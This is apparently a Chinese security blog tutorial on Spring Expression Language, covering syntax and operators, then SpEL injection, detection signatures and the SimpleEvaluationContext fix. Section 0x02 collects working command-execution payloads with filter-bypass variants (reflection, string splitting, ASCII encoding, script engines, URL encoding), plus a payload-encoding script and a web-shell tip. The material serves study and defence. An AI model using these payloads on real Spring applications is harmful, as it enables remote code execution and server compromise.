0x01 SpEL表达式基础

SpEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL定界符——#{}

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。

这里需要注意#{}${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的;

SpEL表达式类型

字面值

最简单的SpEL表达式就是仅包含一个字面值。

下面我们在XML配置文件中使用SpEL设置类属性的值为字面值,此时需要用到#{}定界符,注意若是指定为字符串的话需要添加单引号括起来:

1
2
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'mi1k7ea'}"/>

还可以直接与字符串混用:

1
<property name="message" value="the value is #{666}"/>

Java基本数据类型都可以出现在SpEL表达式中,表达式中的数字也可以使用科学计数法:

1
<property name="salary" value="#{1e4}"/>
Demo

直接用Spring的HelloWorld例子。

HelloWorld.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.mi1k7ea;

public class HelloWorld {
private String message;

public void setMessage(String message){
this.message = message;
}

public void getMessage(){
System.out.println("Your Message : " + message);
}
}

MainApp.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.mi1k7ea;

import com.mi1k7ea.service.AccountService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
}

Beans.xml:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{'mi1k7ea'} is #{666}" />
</bean>

</beans>

运行输出:

1
Your Message : mi1k7ea is 666

引用Bean、属性和方法

引用Bean

SpEL表达式能够通过其他Bean的ID进行引用,直接在#{}符号中写入ID名即可,无需添加单引号括起来。如:

1
2
3
<!--原来的写法,通过构造函数实现依赖注入-->
<!--<constructor-arg ref="test"/>-->
<constructor-arg value="#{test}"/>
引用类属性

SpEL表达式能够访问类的属性。

比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:

1
2
3
4
5
6
7
8
><bean id="kenny" class="com.spring.entity.Instrumentalist"
> p:song="May Rain"
> p:instrument-ref="piano"/>
><bean id="carl" class="com.spring.entity.Instrumentalist">
> <property name="instrument" value="#{kenny.instrument}"/>
> <property name="song" value="#{kenny.song}"/>
></bean>
>

key指定kenny<bean> 的id,value指定kenny<bean>的song属性。其等价于执行下面的代码:

1
2
3
>Instrumentalist carl = new Instrumentalist();
>carl.setSong(kenny.getSong());
>
引用类方法

SpEL表达式还可以访问类的方法。

假设现在有个SongSelector类,该类有个selectSong()方法,这样的话carl就可以不用模仿别人,开始唱songSelector所选的歌了:

1
2
> <property name="song" value="#{SongSelector.selectSong()}"/>
>

carl有个癖好,歌曲名不是大写的他就浑身难受,我们现在要做的就是仅仅对返回的歌曲调用toUpperCase()方法:

1
2
> <property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>
>

注意:这里我们不能确保不抛出NullPointerException,为了避免这个讨厌的问题,我们可以使用SpEL的null-safe存取器

1
2
> <property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>
>

?.符号会确保左边的表达式不会为null,如果为null的话就不会调用toUpperCase()方法了。

Demo——引用Bean

这里我们修改基于构造函数的依赖注入的示例。

SpellChecker.java:

1
2
3
4
5
6
7
8
9
10
package com.mi1k7ea;

public class SpellChecker {
public SpellChecker(){
System.out.println("Inside SpellChecker constructor." );
}
public void checkSpelling() {
System.out.println("Inside checkSpelling." );
}
}

TextEditor.java:

1
2
3
4
5
6
7
8
9
10
11
12
package com.mi1k7ea;

public class TextEditor {
private SpellChecker spellChecker;
public TextEditor(SpellChecker spellChecker) {
System.out.println("Inside TextEditor constructor." );
this.spellChecker = spellChecker;
}
public void spellCheck() {
spellChecker.checkSpelling();
}
}

MainApp.java:

1
2
3
4
5
6
7
8
9
10
11
12
package com.mi1k7ea;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
TextEditor te = (TextEditor) context.getBean("textEditor");
te.spellCheck();
}
}

Beans.xml,通过value="#{bean id}"的方式替换掉之前的ref属性设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<!-- Definition for textEditor bean -->
<bean id="textEditor" class="com.mi1k7ea.TextEditor">
<!--<constructor-arg ref="spellChecker"/>-->
<constructor-arg value="#{spellChecker}"/>
</bean>

<!-- Definition for spellChecker bean -->
<bean id="spellChecker" class="com.mi1k7ea.SpellChecker" />

</beans>

运行输出:

1
2
3
Inside SpellChecker constructor.
Inside TextEditor constructor.
Inside checkSpelling.

类类型表达式T(Type)

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。

在XML配置文件中的使用示例,要调用java.lang.Math来获取0~1的随机数:

1
<property name="random" value="#{T(java.lang.Math).random()}"/>

Expression中使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ExpressionParser parser = new SpelExpressionParser();
// java.lang 包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1);
//其他包类访问
String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
System.out.println(result2);
//类静态字段访问
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
System.out.println(result3);
//类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
System.out.println(result4);

Demo

在前面字面值的Demo中修改Beans.xml即可:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{T(java.lang.Math).random()}" />
</bean>

</beans>

运行输出随机值:

1
Your Message : 0.7593490190723996

恶意利用——弹计算器

修改value中类类型表达式的类为Runtime并调用其命令执行方法即可:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
</bean>

</beans>

运行即可弹计算器。

SpEL用法

SpEL的用法有三种形式,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。

前面的就是以XML配置为例对SpEL表达式的用法进行的说明,而注解@Value的用法例子如下:

1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

下面具体看下Expression的。

Expression用法

由于后续分析的各种Spring CVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里再单独说明SpEL表达式Expression这种形式的用法。

步骤

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;
主要接口
  • ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
  • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
  • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
Demo

应用示例如下,和前面XML配置的用法区别在于程序会将这里传入parseExpression()函数的字符串参数当初SpEL表达式来解析,而无需通过#{}符号来注明:

1
2
3
4
5
6
7
8
9
10
// 字符串字面量
//String spel = "123+456";
// 算数运算
//String spel = "123+456";
// 操作类弹计算器,当然java.lang包下的类是可以省略包名的
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
// String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
类实例化

类实例化同样使用Java关键字new,类名必须是全限定名,但java.lang包内的类型除外。

1
2
3
4
String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());

SpEL表达式运算

下面内容引用自SpEL表达式

SpEL提供了以下几种运算符:

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches

算数运算

加法运算:

1
<property name="add" value="#{counter.total+42}"/>

加号还可以用于字符串拼接:

1
<property name="blogName" value="#{my blog name is+' '+mrBird }"/>

^运算符执行幂运算,其余算数运算符和Java一毛一样,这里不再赘述。

关系运算

判断一个Bean的某个属性是否等于100:

1
<property name="eq" value="#{counter.total==100}"/>

返回值是boolean类型。关系运算符唯一需要注意的是:在Spring XML配置文件中直接写>=和<=会报错。因为这”<”和”>”两个符号在XML中有特殊的含义。所以实际使用时,最号使用文本类型代替符号:

运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

如:

1
<property name="eq" value="#{counter.total le 100}"/>

逻辑运算

SpEL表达式提供了多种逻辑运算符,其含义和Java也是一毛一样,只不过符号不一样罢了。

使用and运算符:

1
<property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/>

两边为true时才返回true。

其余操作一样,只不过非运算有not!两种符号可供选择。非运算:

1
<property name="outOfStack" value="#{!product.available}"/>

条件运算

条件运算符类似于Java的三目运算符:

1
<property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/>

当选择的歌曲为”May Rain”的时候,一个id为piano的Bean将装配到instrument属性中,否则一个id为saxophone的Bean将装配到instrument属性中。注意区别piano和字符串“piano”!

一个常见的三目运算符的使用场合是判断是否为null值:

1
<property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/>

这里,kenny.song引用重复了两次,SpEL提供了三目运算符的变体来简化表达式:

1
<property name="song" value="#{kenny.song !=null ?:'Jingle Bells'}"/>

在以上示例中,如果kenny.song不为null,那么表达式的求值结果是kenny.song否则就是“Jingle Bells”。

正则表达式

验证邮箱:

1
<property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/>

虽然这个邮箱正则不够健壮,但对于演示matches来说足够啦。

集合操作

SpEL表达式支持对集合进行操作。

下面我们以示例看下能进行哪些集合操作。

我们先创建一个City类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.mi1k7ea;

public class City {
private String name;
private String state;
private int population;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getState() {
return state;
}
public void setState(String state) {
this.state = state;
}
public int getPopulation() {
return population;
}
public void setPopulation(int population) {
this.population = population;
}
}

修改Beans.xml,使用<util:list>元素配置一个包含City对象的List集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:util="http://www.springframework.org/schema/util"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/util
http://www.springframework.org/schema/util/spring-util-4.0.xsd">

<util:list id="cities">
<bean class="com.mi1k7ea.City" p:name="Chicago"
p:state="IL" p:population="2853114"/>
<bean class="com.mi1k7ea.City" p:name="Atlanta"
p:state="GA" p:population="537958"/>
<bean class="com.mi1k7ea.City" p:name="Dallas"
p:state="TX" p:population="1279910"/>
<bean class="com.mi1k7ea.City" p:name="Houston"
p:state="TX" p:population="2242193"/>
<bean class="com.mi1k7ea.City" p:name="Odessa"
p:state="TX" p:population="90943"/>
<bean class="com.mi1k7ea.City" p:name="El Paso"
p:state="TX" p:population="613190"/>
<bean class="com.mi1k7ea.City" p:name="Jal"
p:state="NM" p:population="1996"/>
<bean class="com.mi1k7ea.City" p:name="Las Cruces"
p:state="NM" p:population="91865"/>
</util:list>

</beans>

访问集合成员

SpEL表达式支持通过#{集合ID[i]}的方式来访问集合中的成员。

定义一个ChoseCity类:

1
2
3
4
5
6
7
8
9
10
11
package com.mi1k7ea;

public class ChoseCity {
private City city;
public void setCity(City city) {
this.city = city;
}
public City getCity() {
return city;
}
}

在Beans.xml中,选取集合中的某一个成员,并赋值给city属性中:

1
2
3
<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
<property name="city" value="#{cities[0]}"/>
</bean>

MainApp.java,实例化这个Bean:

1
2
3
4
5
6
7
8
9
10
11
12
package com.mi1k7ea;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
ChoseCity c = (ChoseCity)context.getBean("choseCity");
System.out.println(c.getCity().getName());
}
}

运行无误则输出”Chicago”。

随机地选择一个city,中括号[]运算符始终通过索引访问集合中的成员:

1
<property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/>

此时会随机访问一个集合成员并输出。

[]运算符同样可以用来获取java.util.Map集合中的成员。例如,假设City对象以其名字作为键放入Map集合中,在这种情况下,我们可以像下面那样获取键为Dallas的entry:

1
2
> <property name="chosenCity" value="#{cities['Dallas']}"/>
>

[]运算符的另一种用法是从java.util.Properties集合中取值。例如,假设我们需要通过<util:properties>元素在Spring中加载一个properties配置文件:

1
2
> <util:properties id="settings" loaction="classpath:settings.properties"/>
>

现在要在这个配置文件Bean中访问一个名为twitter.accessToken的属性:

1
2
> <property name="accessToken" value="#{settings['twitter.accessToken']}"/>
>

[]运算符同样可以通过索引来得到某个字符串的某个字符,例如下面的表达式将返回s:

1
2
> 'This is a test'[3]
>

查询集合成员

SpEL表达式中提供了查询运算符来实现查询符合条件的集合成员:

  • .?[]:返回所有符合条件的集合成员;
  • .^[]:从集合查询中查出第一个符合条件的集合成员;
  • .$[]:从集合查询中查出最后一个符合条件的集合成员;

修改ChoseCity类,将city属性类型改为City列表类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.mi1k7ea;

import java.util.List;

public class ChoseCity {
private List<City> city;

public List<City> getCity() {
return city;
}
public void setCity(List<City> city) {
this.city = city;
}
}

修改Beans.xml:

1
2
3
<bean id="choseCity" class="com.mi1k7ea.ChoseCity">
<property name="city" value="#{cities.?[population gt 100000]}"/>
</bean>

修改MainApp.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.mi1k7ea;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
ChoseCity c = (ChoseCity)context.getBean("choseCity");
for(City city:c.getCity()){
System.out.println(city.getName());
}
}
}

运行输出:

1
2
3
4
5
Chicago
Atlanta
Dallas
Houston
El Paso

集合投影

集合投影就是从集合的每一个成员中选择特定的属性放入到一个新的集合中。SpEL的投影运算符.![]完全可以做到这一点。

例如,我们仅需要包含城市名称的一个String类型的集合:

1
2
> <property name="cityNames" value="#{cities.![name]}"/>
>

再比如,得到城市名字加州名的集合:

1
2
> <property name="cityNames" value="#{cities.![name+','+state]}"/>
>

把符合条件的城市的名字和州名作为一个新的集合:

1
2
> <property name="cityNames" value="#{cities.?[population gt 100000].![name+','+state]}"/>
>

变量定义和引用

在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的root对象;

示例,使用setVariable()函数定义了名为variable的变量,并且通过#variable来引用,同时尝试引用根对象和上下文对象:

1
2
3
4
5
6
7
8
9
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("mi1k7ea");
context.setVariable("variable", "666");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

输出:

1
2
3
666
mi1k7ea
mi1k7ea

instanceof 表达式

SpEL 支持 instanceof 运算符,跟 Java 内使用同义;如”‘haha’ instanceof T(String)”将返回 true。

自定义函数

目前只支持类静态方法注册为自定义函数。SpEL使用StandardEvaluationContext的registerFunction方法进行注册自定义函数,其实完全可以使用setVariable代替,两者其实本质是一样的。

示例,用户自定义实现字符串反转的函数:

1
2
3
4
5
6
7
8
9
10
11
package com.mi1k7ea;

public class UserFunc {
public static String reverseString(String input) {
StringBuilder backwards = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
backwards.append(input.charAt(input.length() - 1 - i));
}
return backwards.toString();
}
}

通过如下代码将方法注册到StandardEvaluationContext并且来使用它:

1
2
3
4
5
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString", UserFunc.class.getDeclaredMethod("reverseString", new Class[] { String.class }));
String helloWorldReversed = parser.parseExpression("#reverseString('mi1k7ea')").getValue(context, String.class);
System.out.println(helloWorldReversed);

输出反转的字符串ae7k1im

0x02 SpEL表达式注入漏洞

漏洞原理

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

如下,前面的例子中已提过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.mi1k7ea;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class MainApp {
public static void main(String[] args) throws Exception {
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
}
}

运行弹计算器:

PoC&Bypass整理

下面我们来整理下各种利用的PoC,这里默认把定界符#{}去掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

******************************************************************************
// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
message = input('Enter message to encode:')

print('Decoded string (in ASCII):\n')

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')

print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
print(',%s' % ord(ch), end=""),
print(')}')

其他的一些payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 转自:https://www.jianshu.com/p/ce4ac733a4b9

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   获取web路径

${header}  文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p>   //获取web路径

0x03 检测与防御

检测方法

全局搜索关键特征:

1
2
3
4
5
6
7
8
9
10
//关键类
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser

//调用特征
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()

防御方法

最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。

官方文档:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html

Demo:

1
2
3
4
5
6
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

0x04 参考

由浅入深SpEL表达式注入漏洞

SpEL表达式